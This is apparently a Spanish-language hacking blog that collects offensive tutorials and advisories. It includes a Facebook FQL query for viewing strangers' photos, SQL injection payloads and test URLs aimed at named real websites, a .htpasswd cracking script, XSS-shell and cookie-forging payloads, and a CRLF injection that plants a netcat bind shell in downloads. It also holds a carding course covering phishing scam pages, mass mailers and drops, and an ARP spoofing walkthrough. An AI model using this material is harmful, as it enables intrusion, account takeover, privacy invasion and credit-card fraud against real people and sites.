FQL (Facebook Query Language) Nos Hace Vulnerables.

Leyendo Segu-info me encontre con la noticia de que habia un problema en la configuracion de FQL (Facebook Query Language) entonces dije si el problema existe tengo que averiguar como se puede acceder a dicho contenido.
Vos a hacer un comentario que no tiene mucho que ver o tal vez si, hace poco una amiga hizo algo similar pero sin conocimientos informaticos, todo basado en la herramienta mas grande que poseemos los seres humanos (nuestro cerebro), alta ingeria social aplico ;) . Hecho el corolario pasemos a ver como podemos utilizar esta falla de configuracion a nuestro favor:

Con el siguiente codigo podremos obtener informacion de cualquier persona de facebook, con tan solo ser usuario standar (estar registrados :P).

select
aid,
cover_pid,
name,
created,
description,
location,
size,
link,
visible,
type
from
album
where
owner
in
(
select
uid1
from
friend
where
uid1 = [ID FACEBOOK A VULNERAR]
and
uid2
in
(
select
uid1,
uid2
from
friend
where
uid1 = [MI ID DE FACEBOOK]
and
(
uid2 = [ID DE MI AMIGO]
or
uid1 = [ID DE MI AMIGO]
)
)
)
ahora si prestan atencion en la imagen:



Se puede apreciar lo que remarque a las izquierda, para que ustedes pongan de la misma forma y asi poder obtener los datos del id a investigar
En este caso vemos su album de fotos, pero si siguen investigando, pueden conseguir cualquier informacion. Si alguien quiere las tablas de facebook.com aqui estan: http://wiki.developers.facebook.com/index.php/FQL_Tables
Solo es cuestion de leer un poquito mas para obtener otros datos


FUENTE: http://www.delincuentedigital.com.ar PD: GRACIAS NEGROO

PokerAr.com










Juga al Poker en argentina, gratis y online. PokerAr te ofrece la posibilidad de jugar directamente online sin necesidad de descargar software alguno como en otros servidores, Registrate y Juga.


www.PokerAr.com

Descontrolando Facebook


Cualquiera puede ver las fotos de Facebook de otra persona
sin haber sido aceptado como amigo muy fácilmente.



Se trata de un bug o error de diseño en la API de Facebook que permite acceder a las fotos de un usuario con solo saber su número de ID.
Los pasos son los siguientes:

1. Tenemos que estar logueados en FB.
2. Entrar a developers.facebook.com/tools.php
3. Elegir en el menú desplegable “método” la opción “fql.query”
4. En el cuadro de texto “query” que aparecerá ingresar la siguiente consulta:
SELECT location, link FROM album WHERE owner=idDelContacto

Donde dice “idDelContacto” ahí tenemos que reemplazar eso por la ID de la persona que queremos espiar. Ese número es muy fácil de obtener, si te paras en cualquiera de los links relativos a ella (como Agregar amigo, etc) en la URL aparece la variable id=xxxxxxx. Ese es el número de id del usuario.

Al hacer click en el botón aparecerá un código XML, del cual solo necesitas los links que están entre las etiquetas . Ese texto lo pegás en un navegador.

Si te fijas, la línea que acabas de pegar contiene el texto ( amp; ) es necesario borrar estos caracteres. a m p ; <- estos 4 caracteres. Y listo. Acceso a las fotos.

Esto sirve para tomar conciencia de la peligrosidad de subir información privada a internet. La única forma de evitarlo es incrementar los privilegios de seguridad de las fotos.

fuente: http://www.enmanosdenadie.com.ar

CMS IDEAS2 - SQL INYEXION

[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* Sql Inyexion
* Author: Mont
* www.argentinasecurity.com.ar
* Developer: http://ideas2.com.ar (creo)
* Dork: allinurl:"seccion_detalle.php?idseccion="

[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* SqlInyexion


PoC :
http://www.WEBVICTIMA.com/[path_vulnerable]='

Login:
http://www.WEBVICTIMA.com/admin
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* Paths Vulnerables



producto_categoria.php?idcategoria=

seccion_detalle.php?idseccion=

seccion_categoria.php?idcategoria=


[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* Greetz:


n3xtdoor, MenteCriminal, rodr1, Em3trix, Bacan!, e #Inyexion

[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* Ejemplo aportado por MenteCriminal


http://www.piazzollatangoshow.com/seccion_detalle.php?idseccion=-1+UNION+SELECT+1,2,
3,4,5,concat_ws(0x3a,iduser_admin_login,usuario,password),7,8+
from+user_admin--

ideas2 : pato

--------------

WWW hacking

parte del control de acceso, la parte que estara cubierta son las directivas "authconfig". mas abajo veremos un archivo .htaccess tipico para webs con seguridad moderadamente pobre. (la mayoria de los sites porno usan esto como medida de seguridad, una practica excelente para crackear passwords)

/* a typical .htaccess file */ AuthName "Marvin Martian's Porn Emporium" AuthType Basic AuthUserFile /home/marvin/public_html/members/.htpasswd require valid-user

como vemos arriba, no hay muchas directivas para proveer proteccion con password a un directorio. como pueden ver en este caso, el webmaster fue algo olgazan y colgo el archivo .htpasswd dentro del mismo directorio. es formato del .htpasswd es simple.

en un server con seguridad pobre, no hay restricciones de acceso al archivo .htpasswd.
ya que el archivo .htpasswd esta en un directorio web-accessible, un usuario q tiene permiso de autentificarse en el directorio tiene el acceso a las listas de passwords.

simplemente entramos a la url member/.htpasswd, y recibiremos una lista full de usuarios y sus passwords encriptadas, algo estupido realmente, aunq si el archivo no existe, en un servidor mal configurado simplemente leemos el archivo .htaccess para ver donde se encuentra. si se encuentra bajo el "web-root" entonces necesitaremos un exploit-cgi para obtener el archivo. pero en cualquier otro directorio utilizaremos simplemente nuestro navegador para obtenerlo:

webmaster:TTn.VQRliM8c2 hornyguy:ZpgNeARi106aM fatmike69:drXj18zVxxBVc

desafortunadamente necesitaremos crackear estas contrasenias.

la unica manera de desencirptar estas passwords es usando la fuerza bruta.
un simple bruter en perl nos ayudara con la tarea:

#! /usr/bin/perl # crack.pl by fwaggle open (PASSFILE, ".htpasswd"); my @passfile = ; close PASSFILE; open (DICTFILE, "dictionary.txt"); my @dictfile = ; close DICTFILE; foreach $line (@passfile) { my ($username, $encpass) = split(/:/, $line); foreach $attempt (@dictfile) { if ($encpass eq crypt($attempt, $encpass)) { print("Cracked: ${username}:${attempt}\n"); } } }

aunq es recomendable usar otro cracker q funcione a mayor velocidad y en un lenguaje mas potente. (John the Ripper)

*si simplemente buscamos hackear algo o practicar buscamos el siguiente dork en google, ".htpass" y luego en los resultados entramos a los que dicen "Index of /loquesea" esos contiene el archivo .htpasswd


Ya hablamos de como romper estos passwords, ahora hablaremos un poco de como darle seguridad.
lo primero que debemos hacer es evitar q lean nuestro archivos .ht* , lo que podemos hacer como primera instancia es poner el archivo .htpasswd en algun lugar q no sea web-accessible (accesible via web).
Luego debemos negar el acceso a estos archivos a nuestros clientes (si somos los administradores de un servidor) no hay razon para q un cliente necesite ver estos archivos, ya que son de configuracion server side.

para ello usamos la siguiente directiva:
Order allow,deny Deny from all
como paso final nos aseguramos de tener suEXEC corriendo en apache, para tener acceso a los archivos solo por httpd, de esta manera podemos modificar los permisos con chmod al momento de editarlos nada mas.

Traducido para ArgentinaSecurity e Inyexion.com.ar por MONT

Noticias Valtic - Sql Inyexion

[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* Sql Inyexion
* Lo Encontro? Mont (Si la encontro otro llegue tarde xD AVISEN PLEASE SI ENCONTRO OTR0)
* www.argentinasecurity.com.ar
* http://www.valtic.com.ar/ (DESARROLLADOR
* Dork: allinurl:noticias/display.php?ID

[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* SqlInyexion


PoC :
http://www.WEBVICTIMA.com/noticias/display.php?ID='

[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

* Ejemplos



http://www.promositios.com/noticias/display.php?ID=%27

http://www.juegosgratisinternet.com/noticias/display.php?ID=%27

http://www.antivirusgratis.com.ar/noticias/display.php?ID=%27

http://www.tusbuscadores.com/notiprensa/display.php?ID=%27

http://descargasantivirusgratis.com/noticias/display.php?ID=%27

http://web.roldan.gov.ar/noticias.display.php?id=%27

http://www.pandaantivirus.com.ar/noticias/display.php?ID=%27

http://www.terravyt.com.ar/noticias/display.php?ID=%27

http://www.labradorygolden.com.ar/noticias/display.php?ID=%27

http://www.september11.com.ar/noticias/display.php?ID=%27

http://www.hotelennewyork.com/noticias/display.php?ID=%27

http://www.hotelenbrasil.com/noticias/display.php?ID=%27

Cronica Owned by Mont & Bacan



Los links a los demas screenshots:
http://img14.imageshack.us/img14/1664/cronicaowned.jpg
http://img14.imageshack.us/img14/6922/cronicaowned3.jpg
http://img15.imageshack.us/img15/4373/cronicaowned4.jpg
http://img15.imageshack.us/img15/3589/cronicaowned2.jpg

XSS TUNNELING

ahora q ya lo soltaron en #RE por fin se puede soltar tan libremente :)


Que es un Canal XSS?

Un Canal XSS es un canal interactivo entre 2 sistemas que se abre mediante un ataque XSS, A nivel tecnico es un tipo de aplicacion AJAX la cual puede solicitar comandos, enviar respuestas y hablar cross-domain.

La shell de xss es una herramienta que puede ser utilizada para configurar un canal xss entre la victima y el atacante, para

que el atacante controle el navegador de su victima mediante el envio de comandos. esta comunicacion es bi-direccional.

Para hacer que la shell trabaje, el atacante necesita inyecctar el JavaScript de la shell XSS que es referenciado mediante un simple xss. desde este punto el atacante es libre de controlar el navegador de su victima, puede ver peticiones, respuestas, y puede hacer q el navegador haga lo q este le pida.

un ejemplo de la inyeccion:

http://victima.com/gay="> script

src="http://xssshellserver/xssshell.asp" /script


http://rapidshare.com/files/214344116/XSSSS_tunelling.rar.html

La Verdad de los TESTS

Autor: Nicolas Montanaro

ArgentinaSecurity.com.ar



Las redes sociales online han crecido de manera extrema en los ultimos anios, facebook posee 45 millones de miembros activos, y aun asi no es la mas grande del mundo, y esta es solo una de las tantas. En este texto no nos vamos a enforcar en que es facebook, sin embargo al mal uso que algunas personas le pueden dar a esta herramienta social con algo tan inocente como los tests.

Sin darnos cuenta cada vez que respondemos tests, estamos revelando a millones de usuarios (en el caso de facebook 45) informacion sensible sobre nuestra persona,"Que Hora es?" "Donde Estas Ahora?" "Tu Nombre Completo:",'"Escribe tu numero de documento y luego suma sus digitos, ese es tu numero de la suerte"
Preguntas inocentes pero que a la vez revelan el horario y donde estamos usualmente a esa hora, nuestro nombre, numero de documento y un sin fin de datos q se obtienen con tan solo preguntar.

Imaginemos que respondemos el siguiente test:

Que tanto sabes de ti mismo?
tu nombre:
tu segundo nombre:
tu apellido:
nombre completo de tu madre:
nombre completo de tu padre:
fecha en que naciste:
tu padre de que trabaja:
tu madre de que trabaja:
que haces en este momento:
estas solo/a?:

siempre que terminamos de hacer un test lo publicamos para "comparar nuestras respuestas con amigos" quien lo mire no siempre es "amigo" pero al leerlo sabe mucho y puede tener malas intenciones. (no es necesario preguntar a que hora esta vacia tu casa entonces podemos entrar a robar?)

Si estuvieramos en la calle y alguien nos hace estas preguntas porque "solo quiere hacer un test", le mirariamos un par de veces la cara antes de responder, las notas que escribimos en facebook o sea cual sea la red social en la que estemos, NO TIENEN CARA por lo tanto confiamos.

Nuestro nombre es un comienzo, Datosvirtuales es una pagina que tiene datos de varias entidades referente (por ejemplo veraz) pero claro, es pago. Pero la opción de buscar un nombre o un dni/cuit/cdi es gratuita, así que ponemos o el dni (si ya lo conseguimos para confirmar) o si no lo tenemos ponemos el nombre "Pérez Juan" (primero el apellido y sin las comillas). Y como respuesta veremos gratuitamente el dni/cuil/cdi. y esto es tan solo un simple ejemplo, si te quiero robar quizas no necesito tu dni pero... si se donde queda tu casa? www.telexplorer.com es una guia online no solo comercial sino recidencial, que con SOLO EL NOMBRE se puede determinar donde vivimos y no solo eso tambien entrando a
http://www.bcra.gov.ar/cenries/cr010000.asp?error=0
con nuestro cuit/cuil/cdi podemos saber si este tiene deudas! asi como estas hay miles de paginas dando vueltas por la red.

Despues de todo no era solo un simple test no?

Se que fue aburrido, pero es para cuidarlos :)

ArgentinaSecurity.com.ar

Proximamente mas consejos.. solo pidan

Introducción a JavaScript

Indice de Contenidos
1: Introducción
2: El primer script
3: Programación básica
4: Programación avanzada
5: DOM
6: Eventos
7: Formularios
8: Otras utilidades
9: Detección y corrección de errores
10: Recursos útiles
11: Ejercicios resueltos

Descarga

Introducción a XML

PDF de 182 paginas sobre introduccion a XML.

Contenido:

Estructura de un documento XML
Documentos XML bien-formados
El prólogo
Elementos
Atributos
Entidades predefinidas
Secciones CDATA
Comentarios
Document Type Definitions (DTDs)
Declaraciones tipo Elemento
Modelos de contenido
Declaraciones de lista de Atributos
Tipos de Atributos
Declaración de Entidades
Ejemplo de DTD
Schemas XML
Extended Style Language (XSL)
XML Document Object Model y Visual Basic
XML Document Object Model y Java
Lenguaje de enlace XML
Enlaces de Interes

Link

Fuente: inyexion.com.ar

Bypassear la verificación de registro en foros

Este resumen no está disponible. Haz clic en este enlace para ver la entrada.

Session Fixation - El poderoso desconocido

Bueno, hace tiempo que no escribo nada para el foro y.. estube viendo que nunca aporte nada en defacing. En parte, nunca aporté nada pq no es lo que más me apasiona. Decidí escribir sobre esto pq poco y nada se habla y es una tecnica poderosa... ok, no tanto como sql inject o rfi, pero es muy util a la hora de vulnerar un objetivo concreto saber mas que las 2 tecnicas antes nombradas.

##### desde acá empiezo el texto, los comentarios tontos los pongo con "#" xD

Session Fixation Atacks

By MurdeR - www.thefreeks.com.ar

Session:

Las sesiones no son más que una "asociacion" entre el host y el cliente. Para no tener que estar recordando todo el tiempo la contraseña via html, se utiliza un sistema simple que consiste en asociar una cuenta con un numero "ID" y almacenando por un lado en temp y por otro en las cookies dicha sesion, posterior y constatemente el server comprueba que los numeritos coincidan hasta que finaliza la sesión y se destruye.
Hay muchos ataques destinados a obtener esos hermosos numeros aleatorios, los más comunes son tan simples como la fuerza bruta o la intercepción (via xss normalmente) y los mas complejos, los session fixation.

Session Fixation:

Este ataque consiste en establecer el numero de id antes de que el administrador se identifique, así luego no seria necesario obtenerlo-- pq seria el previamente establecido. Es sencillo, si le vendo una alarma a un señor y yo elijo el codigo, para mi no sería un problema hackearlo :D.. algo similar.
La mecanica del ataque varía según el sistema que utilice la aplicación web objetivo, normalmente es posible encontrarse con campos ocultos en los formularios, cookies o argumentos en la url.
Un ejemplo de una cookie en smf 1.1.2 es el siguiente:

PHPSESSID dac203acc5aeef19708c9ec19984c31e xxxxx.com / at end of session

Obviamente el id es "dac203acc5aeef19708c9ec19984c31e" y teniendo eso cargado en las cookies, tendremos total control de la cuenta.
Analizando un poco el funcionamiento del sistema (de smf..) se puede notar que el numero id se crea y carga como una variable que se pasa al server via url:

www.diosdelared.com/index.php/action=login&PHPSESSID=ads234sfd5dgf19708c9ec19984c345

Si enviaramos ese enlace a zeus, y el se identificara (bueno... y si este foro fuera smf 1.1.2), la sesión se crearía con su numero de ID.
Entonces solo faltaria crear una cuenta en este foro, identificarse, editar las cookies y cambiar el numero ID. Voilá ya estaría defaceado el foro xD.

En el ejemplo el numero se puede predefinir como un argumento en la url, lo cual es muy facil y a la vez muy cantoso. Tambien se puede dar que el id se cargue como un campo hidden en un form, en este caso sería necesario imitar la pagina de logon y alterar dicho campo, algo más complicado y que requiriía (aun más) ingenieria social.
En caso de que la session se cargue directamente en las cookies, es un poco más complicado. Hay (que yo sepa) dos formas de crear una cookie falsa a un cliente:
Via side-script (jscript..) o via el meta tag Set-Cookie. Paso a explicarlos:

Cross side scripting:

Suponiendo que tenemos un sistema que es vulnerable a session fixation y que encontramos una vulnerabilidad de XSS no sería necesario armar un sofisticado y lento proseso para robarle las cookies, podriamos crear una simple linea que creara la session falsa y usarla al instante.
En js tenemos la funcion document.cookie que permite crea numeros de id. Si www.diosdelared.com fuera vulnerable a algun xss solo tendriamos que hacer:

http://www.diosdelared.com/.sda

Conseguir que el administrador entre en esa url y ejecute el script es tan sensillo como enviar un enlace www.thefreeks.com.ar con un iframe a esa url y espera a que este entre :)

Una buena idea sería ponerle una fecha de expiración larga, por ejemplo el año 2099:

http://www.diosdelared.com/.sda

Así tendriamos control de la cuenta robada hasta muy viejos...

HTML Meta Injection:

Con html, la meta tag Set-Cookie tambien nos posibilita crear una sesion:

meta http-equiv=set-Cookie content="sessionid=asdasd123123"

Si tenemos una web que por casualidad es vulnerable a xss pero que tiene controlado el uso de < script > se puede intentar injectar el meta directamente:

http://www.diosdelared.com/< meta http-equiv=set-Cookie content="sessionid=asdasd123123" >.com

De esta forma obtendriamos el mismo resultado que en el caso anterior.


Otras ideas... DNS Poisoning :) mi muy mas que favorito.

Esto da para hacer otro post, es más, quizas lo haga... la idea es lograr penetrar en el server dns, añadir un registro en el dns a por ejemplo www.diosdelared.com que apunte a un servidor del atacante.
Luego poner en dicho servidor una web exactamente identica a la original y que solicite la identifiacion del usuario para luego hacer un redirect a la web original.


Espero haberme explicado con mas o menos claridad. Es un tema complicado y seguramente quedarán dudas. Si metí la pata en algo, diganmelo y lo corrijo.

Salu2 MurdeR^^

Insecure Cookie Handling

Tutorial realizado por InyeXion sobre Insecure Cookie Handling (inseguridad en el manejo de cookies) en realidad lo hizo porque no vio en la red un solo tutorial referencial a esta vulnerabilidad, asi que espera que se entienda y sino cualquier cosa preguntenle! (jajajajajaj)

Insecure Cookie Handling

#Explicación#

Insecure Cookie Handling (inseguridad en el manejo de cookies) esta vulnerabilidad la vemos cada ves mas en sitios de seguridad web(Seguridad en apps webs..), pero hay muchos que todavía no saben de que se trata, no saben como explotarla o no la entienden por diferentes motivos..., espero solventar las dudas que tengan con este tutorial.

Esta vulnerabilidad depende del perfil en la que la veamos puede parecer tonta o ingeniosa. Tonta diría por la forma en la que los programadores administran las cookies para restringir la sección de los usuarios no autorizados, e ingeniosa por la forma que los atacantes burlan la verificación...

Cookies: Las cookies forman parte del protocolo HTTP, este protocolo se usa para intercambiar mensajes entre el servidor y el cliente utilizando solicitudes y respuestas HTTP. El encabezado HTTP reservado para el uso de las cookies se denomina

Set-Cookie. Está compuesto por valores:

Set-Cookie: nombre=valor; domain=nombre de dominio; expires=vencimiento de la cookie; path=ruta donde la cookie sera validada; secure

Ejemplo:

Set-Cookie: admin=1; domain=www.web.com; expires=Friday, 2-Feb-2009 00:00:00 GMT; path=/; secure

Secure: Solo se usa si la cookie es enviada por conexion segura (SSL) y es opcional.

#Explotacion#

La explotación es muy fácil, creo que muchos ya se la están imaginando..., pondremos algunos ejemplos.

if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1)
{
echo "Bienvenido a la administración...";

}else{

echo "No estas autorizado";

}
?>


En este caso tendríamos que crear una cookie con el valor 1. Lo haremos en JavaScript pero se puede hacer con un plugin de Firefox o cualquier herramienta, el objetivo es crear la cookie. Entonces ingresaremos en el sitio y previamente ponemos en la barra del navegador...

javascript:document.cookie="admin=1; path=/";


Ahora entramos nuevamente al login y tendrás acceso a la administración en este caso...

Otro ejemplo:
if($_COOKIE['user'] == 1 && $_COOKIE['pass'] == 1)
{
echo "Autorizado";
}else{
echo "No autorizado";
}
?>


Como en el caso anterior entramos a la web e insertamos..

javascript:document.cookie="user=1; path=/"; document.cookie="pass=1; path=/";

Ahí creamos 2 cookies la cual sirven para pasar la verificación. Entramos nuevamente a la web siendo ya autorizado.

Vamos con el ultimo ejemplo:

?

$user = md5(base64_encode("admin"));

if($_COOKIE['usuario'] == $user && $_COOKIE['pass'] == 1)
{
echo "Administración";
}else{
echo "Acceso Incorrecto";
}?>


Bueno hay que explicar unas cositas de este ejemplo, primero tenemos que saber como sacar el nombre del usuario para que posteriormente podamos encriptar primero en base64 y después en md5, como no somos magos como para adivinar el usuario tenemos que usar la lógica... bien puede ser un nombre de usuario por default (como admin, administrador etc..) o sino nos podemos fijar quien postea en la web, en la mayoria de los CMS dice el usuario que posteo. Supongamos que tiene como usuario "admin" (como el script de arriba) entonces encriptamos el usuario para que podamos crear la cookie con ese valor como muestro abajo:

javascript:document.cookie="usuario=db69fc039dcbd2962cb4d28f5891aae1; path=/"; document.cookie="pass=1; path=/";


#Posibles Soluciones#

Podemos utilizar cookies pero manejarlas de la forma correcta para que no puedan bypassear la verificación, con manejarla de la forma correcta me refiero a que no hagan una verificacion estatica, que sea dinamica depende del administrador, ejemplo que en la cookie guarde un usuario(elejido por el admin previamente) y la contraseña codificadas, entre otras posibilidades...
Tambien podemos combinar verificaciones ejemplo cookies y sessiones, queda a imaginacion de uno de como armar la verificacion siempre y cuando este seguro que la verificación sea segura...


#Links#:

https://addons.mozilla.org/addon/3829 <-- Live HTTP Headers 0.14
https://addons.mozilla.org/es-ES/firefox/addon/573 <-- Add N Edit Cookies 0.2.1.3



Autor: InyeXion
Web: Www.inyexion.net - Www.inyexion.com.ar




PDF - HTML

Saludos! Inyexion :P

CRLF Injections: Infectando descargas

Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)


Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP como este:

header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);


Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es 0x0D y 0x0A.

Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:

www.miweb.com/descargas.php?file=programa.bat

Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.


Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.

HTTP al descubierto (PDF)

################################################################
# Title: HTTP al descubierto #
# Authors: Vengador de las Sombras & Sknight #
# Website: http://0verl0ad.blogspot.com #
# Date: 11-9-2008 #
# Contact: camaleon_18@hotmail.com & Lix.security@gmail.com #
# Maqueteado para Diosdelared by MurdeR
################################################################

[-------------Index-------------]
0x01: Introducción al protocolo HTTP
/.0x01 Estructura de HTTP y sus cabeceras
/.0x02 Metodos HTTP
0x02: Sniffeo y Modificación de Cabeceras
0x03: Inyectando Código
/.0x03 CRLF Injecton: Descargas Infectadas (Introducción al HTTP Splitting)
/.0x04 XSS & SQL injections
/.0x05 PHP injections
0x04: Enumeración a través de HTTP
/.0x06 Sacar información con OPTIONS
/.0x07 Banner Grabbing
/.0x08 Http Fingerprinting
0x05: Contraataques, Evitando la identificación de nuestro servidor
0x06: Ataques con Metodos
/.0x9 Creacion y Borrado de ficheros (PUT y DELETE)
/.0x10 Authorization
0x07: Links de interés & Despedida
[-------------Index-------------]

Link: DESCARGA

Curso CARDING #RE

* * * * * * * * * * * * * * * * * * * * * * * * *
Curso Carding - Primera Parte by Xoptik
Contacto: xoptik@hotmail.es
Tema: Intro Al Carding
* * * * * * * * * * * * * * * * * * * * * * * * *

bueno como andan todos..pues hoy estaba en el colegio aburrido y me surgio una idea...y es la de hacer un taller...curso o como fuking kieran llamarle sobre Carding. Porque un curso sobre esto si ay mucha info???...sencillo ay gente q viene empezando con esto y terminan confundidos leyenddo manuales avanzados o ay scams posteado y se los bajan pero no saben q hacer o tantas cosas. Por eso hoy me decidi a hacer este curso..asi que porfavor cualkier duda , sugerencia o cualkier cosas sientanse libres de agregarme al msn pa dudas etc.... *ACLARO: NO REGALO CCS, MAILERS, MAILIST etc.... si me agregan es pa responderles sus dudas sobre el curso.

Bueno sin mucho blablabla...pues empezamos con la primera parte q consta de :

1- Que Es El Carding
2- Terminos Usados En El Carding

La verdad es bien sencillo..lo voy hacer super entendible pa que todos entiendan...porfavor si me atraso con una parte del curso esperenme...que ando con el colegio y tareas y todo eso...
Bueno pues como decia Russh en sus tutos... "Todo Es de Manera Educativa , No Me Hago Responsable"


Empezamos...xD

Que Es El Carding?
Arte relacionada con el mundo Underground mediante la cual se utilizan ilegalmente números de tarjetas de crédito, con el fin de beneficiarse economicamente, sea bien traspasando dinero directamente, sea tambien realizando compras que serán cargadas a la tarjeta de la víctima.

bueno ya saben q es..ahora pondre los terminos mas usados...ya que en las futuras clases los estare usando y no kiero q esten haciendo spam preguntando:

oye y q son ccs??....copiado???...creo q si..xD

Bueno pues q es lo q se ocupa pa sacar ccs o pa hacer carding...pues la verdad son cosas muy sencillas las que necesitamos y son:

- HostFree o de Paga (Que soporte PHP y tenga Sendmail)
- Scam
- Mailer
- Mailist
- Letter

Que es Un Host?
Bueno es una compañia que aloja tu web ...ai podremos montar el scam

* Host que recomiendo free:
- www.0fees.net
- www.sprinterweb.net

* si alguien recomienda mas pues bienvenido sea tu aporte U_U

Que Es Un Scam?
El scam o fake es el sitio falso donde entraran las victimas por ejemplo montamos un fake de banamex osea clonamos la web de banamex y cuando alguien ponga sus datos en ese fake y nos llegan a un panel de control o a nuestro email, en resumen es un sitio falso de una entidad bancaria u otro.

Que Es Un Mailer?
Es un codigo en php que se sube en un hosting y manda emails en forma masiva, el tiempo y total de emails ke mande dependera de la letter, hosting y el codigo del php ya que luego no manda emails por que el hosting no sirve o no llegan a inbox, por que el codigo no sirve o la letter esta mal, en resumen sirve para mandar emails.

Que Es Una Mailist?
Pues facil....la lista de email q vamos a Spamear.

Que Es Una Letter?
Una letter es el mensaje que le mandamos a las posibles victima por email, osea es el texto que les llega por ejemplo en banamex usaban antes sobre sincronizar su netkey y ellos davan click en las
ligas y los mandaba al fake y ahi ponen sus datos, en resumen es el mensaje que les mandamos a las posibles victimas.

-----Terminos Usados En Carding-----
-CCS=Credit Cards o Tarjetas de Creditos
-Cardear= Comprar Objeto o otra cosa con una CC q no es tuya..xD
-Drop = Persona Que Recoje Tu Paquete Cardeado


bueno esos son algunos terminos no se si se me olvidaron pero bueno esos son los que recuerdo ahorita..xD

Bueno en esta primera parte les hable un poco de teoria y lo basico del carding...es mas o menos para que tengan una idea de lo q se trata todo esto...

porfavor no vengan hablando mamadas diciendo pa que queremos esto si ya sabemos...si lo saben mejor quedense callados...este curso es para la gente que vienen empezando y no saben por donde.


* En La siguiente clases aprenderemos a Crear un Scam Sencillo...y les dare un Pack con Scams , Letters , Mailer

Si Alguien quiere cooperar con el curso bienvenido sean sus comentarios...acepto criticas CONSTRUCTIVAS...

PD: Los terminos usados los saque de Xplotion posteado Por DEvillboy
PD2: Si Postean este curso en otro foro, web , Blog etc...favor dejar autor y web de donde lo cojiste...NO SEAS LAMMER..TODOS PROTESTAN PQ DESAPARESCAN LOS LAMMERS!

[VIDEO] Haciendo ARP Spoofing && Sniffing

En este video veremos como hacer la conocida técnica denomidad MITM (Man In The Middle) en una red local, aplicando ARP spoofing & sniffing, para ver los paquetes capturados.

Recomiendo que lo descarguen y lo vean, es una técnica muy buena.

Download:

* Mirror 1: http://rapidshare.com/files/143493922/ManInTheMiddle.rar.html
* Mirror 2: http://www.zshare.net/download/18373679ac7fb2cc/
* Mirror 3: http://www.megaupload.com/es/?d=UPVOFCMY

Herramientas:

* Wireshark: http://www.wireshark.org/download.html
* Ettercap (win32): https://sourceforge.net/project/showfiles.php?group_id=17435&package_id=130431&release_id=269408
* Ettercap (*Unix): http://ettercap.sourceforge.net/download.php
* Librerías WinPcap: http://www.winpcap.org/

Texto del video:

Buenas a todos, soy Login-Root y hoy vamos a ver como aplicar la tan conocida tecnica denominada "MITM" (Man in the Middle), para ver que informacion esta pasando entre otros dispositivos en una red :P.

En una red LAN y en las comunicaciones router-router (entre redes) se utiliza la direccion MAC (Mac Adress - dirección física) de las placas de red o dispositivos para comunicarse entre si, la cual esta no se "debería" :P repetir en ningún otro dispositivo (cada uno tiene su propia MAC, la cual es única).

Entonces, si un ordenador en una red local con IP 10.0.0.4 se quisiera comunicar con su gateway (router), el cual su IP es 10.0.0.2 (esto el ordenador lo sabe bien gracias a un servidor DHCP o bien por una configuración manual del administrador de la red), debería primero conocer la MAC destino (la de su gateway), y eso como lo obtiene? Bueno, esto lo puede obtener mendiante mensajes llamados "ARP", los cuales se utilizan UNICAMENTE en las redes locales. Entonces, lo que haria la PC con la IP 10.0.0.4 sería enviar un mensaje ARP Broadcast (un mensaje a la IP 10.0.0.255 en este caso, es como hacerle una petición a todas las maquinas de la red) preguntando ?Cuál es la MAC de 10.0.0.2?.

En este caso, 10.0.0.2, respondería diciendo "Hola, yo soy 10.0.0.2 y tengo la MAC "Tal MAC"), y esto 10.0.0.4 lo guarda en una tabla ARP-Cache temporal para no estar preguntando a cada rato.

Aca entra en juego el ARP Spoofing, el cual consiste en, básicamente, lo siguiente:

10.0.0.4 envia mensajes ARP a su víctima 10.0.0.3 diciendole "Yo soy 10.0.0.2 y tengo la MAC: ______ <= MAC ATACANTE), entoncescuando 10.0.0.3 se quiera comunicar con su router 10.0.0.2, en realidad se va a estar comunicando con la PC del atacante, pasando toda la información por ésta, la cual vamos a ver gracias a un bonito sniffer :D.

Tambien se hace obvio la nececidad de falsificar la MAC de la víctima al router, enviandole mensajes ARP cada cierto tiempo diciendo "Yo soy 10.0.0.3 y tengo la MAC: _____ <= MAC ATACANTE), por la cual cuando el router se quiera comunicar con 10.0.0.3, se estará comunicando realmente con 10.0.0.4 (Atacante).

Esta técnica se llama MITM (Man in the Middle) y se puede realizar con muchos y muy variados programas para distintas plataformas, para distintos usos, etc, de los cuales yo en este caso voy a utilizar Ettercap (Spoofer, el programa que falsifica las MAC, como les estuve diciendo) y el Wireshark (ex Ethereal, vemos los paquetes nuestros y los de nuestra victima).

Basta de tanta cháchara y vamos a ver como hacerlo :D.


Primero vamos a abrir el Ettercap

Libro [construccion de antenas caseras]

